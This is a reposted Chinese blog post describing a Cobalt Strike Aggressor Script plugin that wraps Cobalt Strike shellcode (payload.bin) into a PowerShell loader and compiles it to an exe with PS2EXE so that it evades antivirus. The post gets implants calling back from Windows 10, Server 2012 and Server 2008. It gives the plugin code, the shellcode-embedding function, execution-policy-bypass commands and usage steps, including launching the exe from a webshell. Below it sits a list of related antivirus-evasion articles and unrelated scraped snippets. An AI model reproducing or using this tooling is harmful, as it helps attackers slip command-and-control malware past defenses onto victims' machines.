Aggressor Script 开发-Powershell 免杀
转载https://www.jianshu.com/p/f158a9d6bdcf
前言
在接触到Cobalt Strike的时候就知道有各种插件,想象着那天也可以自己学习编写一个。在之前分析Cobalt Strike powershell木马的时候,正好看到了Win-PS2EXE 项目用来编译为exe,免杀效果还不错且大小只有几十KB。即如此,何不利用Aggressor Script 编写一个cna脚本用来实现Win-PS2EXE编译为exe?
Sleep 语言
我们都知道Cobalt Strike的插件现在都由Aggressor Script语言编写,由Sleep语言解析。对于Sleep语言网上学习的资料比较少,还好这个语言学起来也比较简单。
先下载Sleep语言 http://sleep.dashnine.org/download/sleep.jar
命令java -jar sleep.jar
即可启用。
而后我们新建一个cna文件,cna是Aggressor Script脚本的后缀。
在cna文件里编写sleep语言,load
该cna文件即可执行。
Sleep 语法
Sleep语法手册:http://sleep.dashnine.org/manual/
这里着重看一下我在编写powershell免杀时着重用到的基础语法。和php的一些函数很类似。
mkdir
global
sub
exec
byteAt
还有一些不太一样的地方,比如运算符的两边必须加空格。
$int = 3;
println($int - 1);
否则就异常。
菜单的编写
创建一个自定义菜单
menubar("powershell免杀","test"); # 注册一级菜单
popup test {
item("&生成exe",{dialog_test()}); # 子菜单,点击时调用dialog_test函数
}
Cobalt Strike 加载cna脚本后,效果如下
输入框的编写
现在编写dialog_test函数,用来用户的输入
menubar("powershell免杀","test"); # 一级菜单
popup test {
item("&生成exe",{dialog_test()}); # 子菜单,点击时调用dialog_test函数
}
sub dialog_test {
$info = dialog("powershell bypass av",%(ps2exe => "ps2exe.ps1",bin => "payload.bin",payload => "payload_cs.ps1",version => "",output_exe => "bypass.exe"),&show);
#第一个是菜单的名字,第二个是我们定义的菜单显示内容的默认值,第三个参数是我们回调函数,触发show函数的时候显示,并将值传递
drow_file($info,"bin","Choose: default payload.bin");
drow_text($info, "payload", "生成ps1"); # drow_text文本框的输入
drow_combobox($info, "version", "Version: ", @("powershell 4.0", "powershell 2.0"));
drow_text($info,"output_exe","输出地址:");
dbutton_action($info,"点击生成!"); # dbutton_action将操作按钮添加到dialog,回调函数
dialog_show($info); # 显示文本输入框
}
sub show {
println("\n加载bin文件:".$3["bin"]."\n输出payload文件:".$3["payload"]."\n版本是:".$3["version"]."\n输出exe地址:".$3["output_exe"]);
show_message("\n加载bin文件:".$3["bin"]."\n输出payload文件:".$3["payload"]."\n版本是:".$3["version"]."\n输出exe地址:".$3["output_exe"]);
}
定义diolog数据模型,会有三个函数传递给shou方法
$1 为dialog的引用
$2 按钮的名称
$3 对话框输入的值
show_message
以弹框的方式显示消息,println
则会显示在Script Console中。
效果如下:
powershell免杀
免杀的生成还是借用的 Powershell免杀从入门到实践,利用powershell加载恶意bin文件,生成ps1文件,再借助PS2EXE编译为exe。
生成powershell_cs.ps1 文件,用的是正则匹配加载器powershell_load.ps1文件,将[System.IO.File]::ReadAllBytes('payload.bin')
直接替换为读取bin文件的字符。
代码如下
global('$char_code');
global('$new_strs');
sub payload_bin_to_ps1 {
$in = openf('payload.bin');
$data = readb($in, -1);
for ($x = 0; $x < strlen($data); $x++)
{
$shellcode = (byteAt($data, $x) . ",");
$char_code = $char_code.$shellcode;
}
$char_code = left($char_code, int(strlen($char_code)) - 1);
$org_file = 'powershell_load.ps1';
$handle = openf($org_file);
while $text (readln($handle)){
$rep = replace($text, 'acode.*=.*', 'acode='.$char_code)."\n";
$new_strs = $new_strs.$rep;
}
$filestring = right($new_strs, int(strlen($new_strs)) - 1);
$out = openf(">$payload_file_ps1");
writeb($out, $filestring);
closef($out);
closef($in);
$new_strs = '';
$char_code = '';
}
编译为exe则直接用exec命令。
$process = exec('powershell.exe -ExecutionPolicy bypass -command "F:\cstemp\.\ps2exe.ps1 -inputFile F:\cstemp\powershell_load.ps1 -outputFile F:\cstemp\aaa.exe -noConsole -runtime40" ');
println($process);
@data = readAll($process);
println(@data)
closef($process);
因为本身是利用的powershell 4.0,利用.NET Framework 4.x 环境编译为exe,所以在win10、server 2012 上都可以正常上线。
但如果还想在server 2008 上上线,就需要使用-runtime20
选项,意思是利用powershell 2.0编译为exe
当我在win10上使用-runtime20
选项时,程序直接处于等待状态。
只能手动去结束这个进程。尝试多次无果。
但测试发现换一个命令就可以正常执行结束,且没有多余的进程。
$process = exec('cmd.exe /c echo F:\cstemp\.\ps2exe.ps1 -inputFile F:\cstemp\powershell_load.ps1 -outputFile F:\cstemp\bbb.exe -noConsole -runtime20 | powershell -');
@data = readAll($process);
println(@data)
closef($process);
在server 2008上测试可上线。
利用ps2exe.ps1编译成exe时需要注意当前powershell版本,且默认以当前powershell版本编译,无法运行在比它高的版本上,只能向下兼容。
使用
在导入cna脚本之前,只需要修改当前路径$path为powershell_bypass.cna所在的真实路径即可。
注意:均是两个斜杠
选择Cobalt Strike生成BIN文件。
启用该cna脚本,选择指定的bin文件,点击生成恶意的ps1文件、exe可执行文件,
点击即可上线。
使用powershell 4.0上线server 2012
使用powershell 2.0上线server 2008
如果在webshell触发该可执行文件,需要start命令
总结
将ps2exe.ps1以另一种方式将其可视化,学习了Aggressor Script 基础语法。
相关代码已上传github:https://github.com/cseroad/bypassAV
参考资料
https://wiki.wgpsec.org/knowledge/intranet/Aggressor-script.html
https://github.com/MScholtes/PS2EXE
Aggressor Script 开发-Powershell 免杀的更多相关文章
- Powershell免杀
Powershell免杀 0x01 前言 前几天搞一个站的时候,进入内网,想让内网一台机子powershell上线.然后被杀软拦截了,极其的不讲武德,想着找我极强的朋友们白嫖个免杀的方法. 后面还是没 ...
- Powershell免杀从入门到实践
转载https://www.jianshu.com/p/fb078a99e0d8 前言 文章首发于Freebuf 在之前发布的一篇 渗透技巧之Powershell实战思路 中,学习了powershel ...
- Atitit.木马病毒的免杀原理---sikuli 的使用
Atitit.木马病毒的免杀原理---sikuli 的使用 1. 使用sikuli java api1 1.1. 3. Write code!1 2. 常用api2 2.1. wait 等待某个界面出 ...
- Kail Linux渗透测试教程之免杀Payload生成工具Veil
Kail Linux渗透测试教程之免杀Payload生成工具Veil 免杀Payload生成工具——Veil Kail Linux渗透测试教程之免杀Payload生成工具Veil,Veil是一款利用M ...
- 迁移Veil:手工打造Windows下编译的免杀Payload
作者:RedFree 本文转自乌云 Veil对Payload的免杀已经做的很好了,最新的Veil有39个可用的Payload.但是有时候需要使用Windows来完成所有的渗透测试工作,Linux和Wi ...
- shellcode 免杀(一)
工具免杀 选择了几个简单或者近期还有更新的免杀工具进行学习 ShellcodeWrapper https://github.com/Arno0x/ShellcodeWrapper 该工具的原理是使用异 ...
- 20182217刘洪宇EXP3_免杀原理
免杀 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的.AV(Anti-virus)是很大一个产业.其中主 ...
- shellcode隐写到像素RGB免杀上线到CS
利用把Shellcode隐写到图片像素RGB进行免杀上线到CS --by:chenw 0x01 前言 前几天跟一个朋友一起搞一个站的时候,发现那个站点开了很多杀软,使用CS的powershell马无法 ...
- BadUsb配合Cobalt-Strike免杀上线
BadUsb配合Cobalt-Strike免杀上线 前言: 原理简介:Badusb的原理是将恶意代码预置在固件之中,当受害人插入USB时,就会执行恶意代码进行恶意操作.Badusb将恶意代码预存在U盘 ...
随机推荐
- videojs文档翻译Guides-components
components Components Video.js播放器的架构围绕组件. Player类和所有表示播放器控件和其他UI元素的类都继承自Component类. 这种架构使得可以轻松地以反映DO ...
- linux下利用JMX监控Tomcat
利用JMX监控Tomcat,就是相当于部署在tomcat上的应用作为服务端,也就是被管理资源的对象.然后通过程序或者jconsole远程连接到该应用上来.远程连接需要服务器端提供ip和port.如果需 ...
- ECShop 2.x/3.x SQL注入/任意代码执行漏洞
poc地址:https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md 生 ...
- 阿里云RocketMQ定时/延迟消息队列实现
新的阅读体验:http://www.zhouhong.icu/post/157 一.业务需求 需要实现一个提前二十分钟通知用户去做某件事的一个业务,拿到这个业务首先想到的最简单得方法就是使用Redis ...
- 某学院m3u8视频解密获取分析实战分享
[免责声明]本文来源于作者个人学习整理,仅供学习交流使用,不构成商业目的.所有资源均系本人个人学习或网络收集,仅提供一个展示.介绍.观摩学习的博文,不对其内容的准确性.可靠性.正当性.安全性.合法性等 ...
- nfs配置项在/etc/exports中的说明
rw 可读写的权限 ro 只读的权限no_root_squash 登入NFS主机,使用该共享目录时相当于该目录的拥有者,如果是root的话,那么对于这个共享的目录来说,他就具有root的权 ...
- Java程序设计(2021春)——第四章接口与多态笔记与思考
Java程序设计(2021春)--第四章接口与多态笔记与思考 本章概览: 4.1 接口(接口的概念和声明接口.实现接口的语法) 4.2 类型转换 4.3 多态的概念 4.4 多态的应用 4.5 构造方 ...
- Aging Cell两篇连发 | 华中科技大学王建枝团队运用蛋白质组学技术发现具有AD早期诊断价值的血小板生物标志物
阿尔茨海默症 (Alzheimer 's disease,AD) 是一种原发性的中枢神经系统退行性疾病.AD的主要临床症状是缓慢的认知功能减退,包括记忆.逻辑推理能力和语言功能的进行性丟失,最后发展为 ...
- IntelliJ IDEA常用的快捷键积累总结
.personSunflowerP { background: rgba(51, 153, 0, 0.66); border-bottom: 1px solid rgba(0, 102, 0, 1); ...
- HTML5(十一)——WebSocket 基础教程
一.为什么要学 WebSocket? websocket 是 HTML5 提供的一种长链接双向通讯协议,使得客户端和服务器之间的数据交换更简单,允许服务端主动向客户端推送数据,并且客户端与服务端只需连 ...